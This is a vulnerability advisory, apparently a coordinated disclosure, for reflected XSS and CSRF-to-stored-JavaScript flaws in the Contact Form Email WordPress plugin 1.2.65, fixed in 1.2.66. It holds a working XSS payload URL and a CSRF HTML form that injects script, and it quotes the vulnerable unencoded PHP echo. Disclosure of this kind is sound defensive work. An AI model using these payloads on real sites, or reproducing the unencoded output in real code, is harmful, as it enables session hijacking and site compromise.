WordPress Contact Form Email 1.2.65 CSRF / Cross Site Scripting

2019.02.06
Credit: Tim Coen
Risk: Medium
Local: No
Remote: Yes
CVE: N/A

* Vulnerability: XSS & CSRF * Affected Software: [Contact Form Email](https://wordpress.org/plugins/contact-form-to-email/) * Affected Version: 1.2.65 * Patched Version: 1.2.66 * CVE: not requested * Risk: Medium * Vendor Contacted: 10/31/2018 * Vendor Fix: 10/31/2018 * Public Disclosure: 02/05/2019 * Credit: Tim Coen ## Reflected XSS ##### CVSS 6.1 Medium [CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N](https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N) ##### Overview The Contact Form Email WordPress plugin is vulnerable to reflected XSS as it echoes the item parameter without proper encoding. ##### Proof of Concept http://192.168.0.103/wordpress/wp-admin/admin.php?page=cp_contactformtoemail&edit=1&cal=1&item='"><img+src%3Dx+onerror%3Dalert(1)> ##### Code contact-form-to-email/cp_admin_int_edition.inc.php <input name="cfwpp_edit" type="hidden" value="<?php echo $_GET["item"]; ?>" /> ## CSRF (to XSS) ##### CVSS 6.1 Medium [CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N](https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N) ##### Overview The plugin allows the addition of custom JavaScript to forms. Because the request to place this addition is not protected against CSRF, an attacker can place arbitrary JavaScript into the application if an authenticated user visits a webpage containing malicious HTML and/or JavaScript. ##### Proof of Concept <html> <body> <form action="http://192.168.0.103/wordpress/wp-admin/admin.php?page=cp_contactformtoemail&edit=1&cal=1&item=js" method="POST"> <input type="hidden" name="CP&#95;CFTE&#95;post&#95;edition" value="1" /> <input type="hidden" name="cfwpp&#95;edit" value="js" /> <input type="hidden" name="editionarea" value="alert(2);" /> <input type="hidden" name="submit" value="Save&#32;Changes" /> <input type="submit" value="Submit request" /> </form> </body> </html> ##### Timeline - 10/31/2018 Asked for email address via contact form - 10/31/2018 Vendor responds, advisory sent - 10/31/2018 Vendor releases fix - 02/05/2019 Disclosure ##### Details & Full Advisory URL https://security-consulting.icu/blog/2019/02/wordpress-contact-form-email-xss-csrf/ -- PGP Key: https://pgp.mit.edu/pks/lookup?op=get&search=0x204DCBDD29BA0D89


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